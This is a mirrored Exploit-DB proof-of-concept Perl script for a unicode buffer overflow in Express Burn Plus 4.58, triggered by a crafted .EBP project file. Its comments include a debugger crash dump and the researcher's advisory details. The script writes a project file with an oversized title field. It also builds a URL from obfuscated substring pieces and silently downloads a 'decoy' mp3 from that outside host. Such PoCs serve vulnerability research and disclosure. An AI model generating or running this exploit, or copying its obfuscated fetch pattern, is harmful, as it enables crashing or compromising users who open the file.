Express Burn Plus 4.58 – EBP Project File Handling Buffer Overflow (PoC)

  • 作者: LiquidWorm
    日期: 2012-08-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/20870/
  • #!/usr/bin/perl
    #
    #
    # Express Burn Plus v4.58 EBP Project File Handling Buffer Overflow PoC
    #
    #
    # Vendor: NCH Software
    # Product web page: http://www.nchsoftware.com
    # Affected version: 4.58
    #
    # Summary: Express Burn is a program that allows you to create and copy many
    # kinds of disc media, including Audio (audio CDs / .mp3 CDs), Video (DVDs),
    # and Data (CDs / DVDs / Blu-ray).
    #
    # Desc: The vulnerability is caused due to a boundary error in the processing
    # of a project file, which can be exploited to cause a unicode buffer overflow
    # when a user opens e.g. a specially crafted .EBP file. Successful exploitation
    # could allow execution of arbitrary code on the affected machine.
    #
    #
    # ===========================================================================
    #
    # (13d4.a84): Access violation - code c0000005 (first chance)
    # First chance exceptions are reported before any exception handling.
    # This exception may be expected and handled.
    # eax=050a8c70 ebx=004034fc ecx=00000041 edx=fc4d5390 esi=0157cf68 edi=001297fe
    # eip=004678ef esp=00126420 ebp=001274c0 iopl=0 nv up ei pl nz na pe nc
    # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
    # *** WARNING: Unable to verify checksum for image00400000
    # *** ERROR: Module load completed but symbols could not be loaded for image00400000
    # image00400000+0x678ef:
    # 004678ef 66890c02mov word ptr [edx+eax],cxds:0023:0157e000=????
    # 0:000> d eax
    # 050a8c7041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 050a8c8041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 050a8c9041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 050a8ca041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 050a8cb041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 050a8cc041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 050a8cd041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 050a8ce041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 0:000> d esi
    # 0157cf6841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 0157cf7841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 0157cf8841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 0157cf9841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 0157cfa841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 0157cfb841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 0157cfc841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    # 0157cfd841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A.
    #
    # ===========================================================================
    #
    #
    # Tested on: Microsoft Windows 7 Ultimate SP1 EN
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # Zero Science Lab - http://www.zeroscience.mk
    #
    #
    # Advisory ID: ZSL-2012-5103
    # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5103.php
    #
    #
    # 25.08.2012
    #
    
    use Cwd;
    use LWP::Simple;
    
    print "\n
    #=---===---===---===---===---===---===---===---=#
    | |
    |Proof Of Concept script for|
    | |
    | NCH Software Express Burn Plus v4.58|
    | |
    | |
    | ID: ZSL-2012-5103 |
    | |
    |---|
    | |
    | Copyleft (c) 2012 |
    | |
    |Zero Science Lab - http://www.zeroscience.mk |
    | |
    #=---===---===---===---===---===---===---===---=#
    \n";
    
    $file = "Exploit.EBP";
    
    $zoom = substr(")aZh4/",3,1).substr("^7ttr",2,2).substr("p>eErZ",0,1).
    substr("7U:/.9",2,2).substr("v/!+T",1,1).substr("oL4z55",3,1).
    substr("erY3%",0,2).substr("8oscW1",1,3).substr("iLien@",2,3).
    substr("*hJ2ce",4,2).substr("6.#h1A",1,1).substr("mk-((",0,2).
    substr(">/cZo",1,2).substr("[Mood]4",3,2).substr("lesS?",1,2).
    substr("a*\@J/b",4,2).substr("lue8X",0,3).substr("fish6",0,4).
    substr(",,8Y.b",4,1).substr("GrUmp!",3,2).substr("1337:",2,1);
    
    print "\n\n\x20\x20\x1A Creating malicious project file...\n\n";
    $decoy = "440Hz.mp3";
    getstore($zoom, $decoy);
    print "\x20\x20\x1A Throwing decoy file: $decoy...\n";
    $buffer = "\x41\x41\x41\x41" x (15000/2);
    $dir = getcwd;
    $dir =~ s/\//\\/g;
    
    $load = "<?xml version=\"1.0\"?>\<ExpressBurnProject type=\"0\"><Alb".
    "umTitle/><TrackList><Audiotrack file=\"$dir\\$decoy\" title".
    "=\"$buffer\" artist=\"Salvador\"/></TrackList>\r</ExpressBu".
    "rnProject>\r";
    
    open fp, ">./$file" || die "\n[-] Can't open $file: $!\n\n";
    print fp $load; close fp;
    print "\n\x20\x20\x19 File created successfully: $file ";
    $file = -s $file; print "($file bytes).\n\n\n";
    
    ##EOF